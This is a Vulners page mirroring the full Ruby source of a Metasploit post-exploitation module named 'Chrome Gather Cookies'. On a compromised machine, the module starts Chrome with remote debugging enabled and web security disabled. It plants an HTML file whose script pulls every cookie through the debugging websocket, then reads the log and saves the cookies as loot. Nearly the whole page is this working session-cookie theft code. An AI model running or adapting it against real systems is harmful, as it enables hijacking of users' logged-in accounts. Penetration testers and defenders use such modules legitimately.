Lucene search
K

Chrome Gather Cookies

🗓️ 08 Dec 2018 22:52:45Reported by mangopdf <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 185 Views

Read all cookies from the Default Chrome profile of the target user

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Chrome Gather Cookies',
        'Description' => 'Read all cookies from the Default Chrome profile of the target user.',
        'License' => MSF_LICENSE,
        'Author' => ['mangopdf <mangodotpdf[at]gmail.com>'],
        'Platform' => %w[linux unix bsd osx windows],
        'SessionTypes' => %w[meterpreter shell]
      )
    )

    register_options(
      [
        OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']),
        OptString.new('WRITEABLE_DIR', [false, 'Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\\Local\\Temp)', '']),
        OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222])
      ]
    )
  end

  def configure_for_platform
    vprint_status('Determining session platform')
    vprint_status("Platform: #{session.platform}")
    vprint_status("Type: #{session.type}")

    if session.platform == 'windows'
      username = get_env('USERNAME').strip
    else
      username = cmd_exec 'id -un'
    end

    temp_storage_dir = datastore['WRITABLE_DIR']

    case session.platform
    when 'unix', 'linux', 'bsd', 'python'
      chrome = 'google-chrome'
      user_data_dir = "/home/#{username}/.config/google-chrome"
      temp_storage_dir = temp_storage_dir.nil? ? '/tmp' : temp_storage_dir
      @cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}"
    when 'osx'
      chrome = '"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"'
      user_data_dir = expand_path "/Users/#{username}/Library/Application Support/Google/Chrome"
      temp_storage_dir = temp_storage_dir.nil? ? '/tmp' : temp_storage_dir
      @cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}"
    when 'windows'
      chrome = '"\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"'
      user_data_dir = "\\Users\\#{username}\\AppData\\Local\\Google\\Chrome\\User Data"
      temp_storage_dir = temp_storage_dir.nil? ? "\\Users\\#{username}\\AppData\\Local\\Temp" : temp_storage_dir
      @cookie_storage_path = "#{user_data_dir}\\chrome_debug.log"
    else
      fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}"
    end

    unless datastore['CHROME_BINARY_PATH'].empty?
      chrome = datastore['CHROME_BINARY_PATH']
    end

=begin
    # #writable? not supported on windows
    unless writable? @temp_storage_dir
      fail_with Failure::BadConfig, "#{@temp_storage_dir} is not writable"
    end
=end

    @html_storage_path = create_cookie_stealing_html(temp_storage_dir)

    chrome_debugging_args = []

    if session.platform == 'windows'
      # `--headless` doesn't work on Windows, so use an offscreen window instead.
      chrome_debugging_args << '--window-position=0,0'
      chrome_debugging_args << '--enable-logging --v=1'
    else
      chrome_debugging_args << '--headless'
    end

    chrome_debugging_args_all_platforms = [
      '--disable-translate',
      '--disable-extensions',
      '--disable-background-networking',
      '--safebrowsing-disable-auto-update',
      '--disable-sync',
      '--metrics-recording-only',
      '--disable-default-apps',
      '--mute-audio',
      '--no-first-run',
      '--disable-web-security',
      '--disable-plugins',
      '--disable-gpu'
    ]

    chrome_debugging_args << chrome_debugging_args_all_platforms
    chrome_debugging_args << " --user-data-dir=\"#{user_data_dir}\""
    chrome_debugging_args << " --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']}"
    chrome_debugging_args << " #{@html_storage_path}"

    @chrome_debugging_cmd = "#{chrome} #{chrome_debugging_args.join(' ')}"
  end

  def create_cookie_stealing_html(temp_storage_dir)
    cookie_stealing_html = %(
      <!DOCTYPE html>
      <html lang="en">
      <head>
        <meta charset="utf-8">
        <title>index.html</title>
      </head>
      <body>
          <script>

              var remoteDebuggingPort = #{datastore['REMOTE_DEBUGGING_PORT']};
              var request = new XMLHttpRequest();
              request.open("GET", "http://localhost:" + remoteDebuggingPort + "/json");
              request.responseType = 'json';
              request.send();

              request.onload = function() {
                var webSocketDebuggerUrl = request.response[0].webSocketDebuggerUrl;
                console.log(webSocketDebuggerUrl);
                var connection = new WebSocket(webSocketDebuggerUrl);

                connection.onopen = function () {
                  connection.send('{"id": 1, "method": "Network.getAllCookies"}');
                };

                connection.onmessage = function (e) {
                  var cookies_blob = JSON.stringify(JSON.parse(e.data).result.cookies);
                  console.log('REMOTE_DEBUGGING|' + cookies_blob);
                };
              }
          </script>
      </body>
      </html>
    )

    # Where to temporarily store the cookie-stealing html
    if session.platform == 'windows'
      html_storage_path = "#{temp_storage_dir}\\#{Rex::Text.rand_text_alphanumeric(10..15)}.html"
    else
      html_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}.html"
    end

    write_file(html_storage_path, cookie_stealing_html)
    html_storage_path
  end

  def cleanup
    if file?(@html_storage_path)
      vprint_status("Removing file #{@html_storage_path}")
      rm_f @html_storage_path
    end

    if file?(@cookie_storage_path)
      vprint_status("Removing file #{@cookie_storage_path}")
      rm_f @cookie_storage_path
    end
  end

  def get_cookies
    if session.platform == 'windows'
      chrome_cmd = @chrome_debugging_cmd.to_s
      kill_cmd = 'taskkill /f /pid'
    else
      chrome_cmd = "#{@chrome_debugging_cmd} > #{@cookie_storage_path} 2>&1"
      kill_cmd = 'kill -9'
    end

    if session.type == 'meterpreter'
      chrome_pid = cmd_exec_get_pid(chrome_cmd)
      print_status "Activated Chrome's Remote Debugging (pid: #{chrome_pid}) via #{chrome_cmd}"
      Rex.sleep(5)

      # read_file within if/else block because kill was terminating sessions on OSX during testing
      chrome_output = read_file(@cookie_storage_path)

      # Kills spawned chrome process in windows meterpreter sessions.
      # In OSX and Linux the meterpreter sessions would stop as well.
      if session.platform == 'windows'
        kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}"
      end
    else
      # Using shell_command for backgrounding process (&)
      client.shell_command("#{chrome_cmd} &")
      print_status "Activated Chrome's Remote Debugging via #{chrome_cmd}"
      Rex.sleep(5)

      chrome_output = read_file(@cookie_storage_path)
    end

    cookies_msg = ''
    chrome_output.each_line do |line|
      if line =~ /REMOTE_DEBUGGING/
        print_good('Found Match')
        cookies_msg = line
      end
    end

    fail_with(Failure::Unknown, 'Failed to retrieve cookie data') if cookies_msg.empty?

    # Slice off the "REMOTE_DEBUGGING|" delimiter and trailing source info
    cookies_json = cookies_msg.split('REMOTE_DEBUGGING|')[1]
    cookies_json.split('", source: file')[0]
  end

  def save(msg, data, ctype = 'text/json')
    ltype = 'chrome.gather.cookies'
    loot = store_loot ltype, ctype, session, data, nil, msg
    print_good "#{msg} stored in #{loot}"
  end

  def run
    fail_with Failure::BadConfig, 'No session found, giving up' if session.nil?

    # Issues with write_file. Maybe a path problem?
    if session.platform == 'windows' && session.type == 'shell'
      fail_with Failure::BadConfig, 'Windows shell session not support, giving up'
    end

    unless session.platform == 'windows' && session.type == 'meterpreter'
      print_warning 'This module will leave a headless Chrome process running on the target machine.'
    end

    configure_for_platform
    cookies = get_cookies
    cookies_parsed = JSON.parse cookies
    save "#{cookies_parsed.length} Chrome Cookies", cookies
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation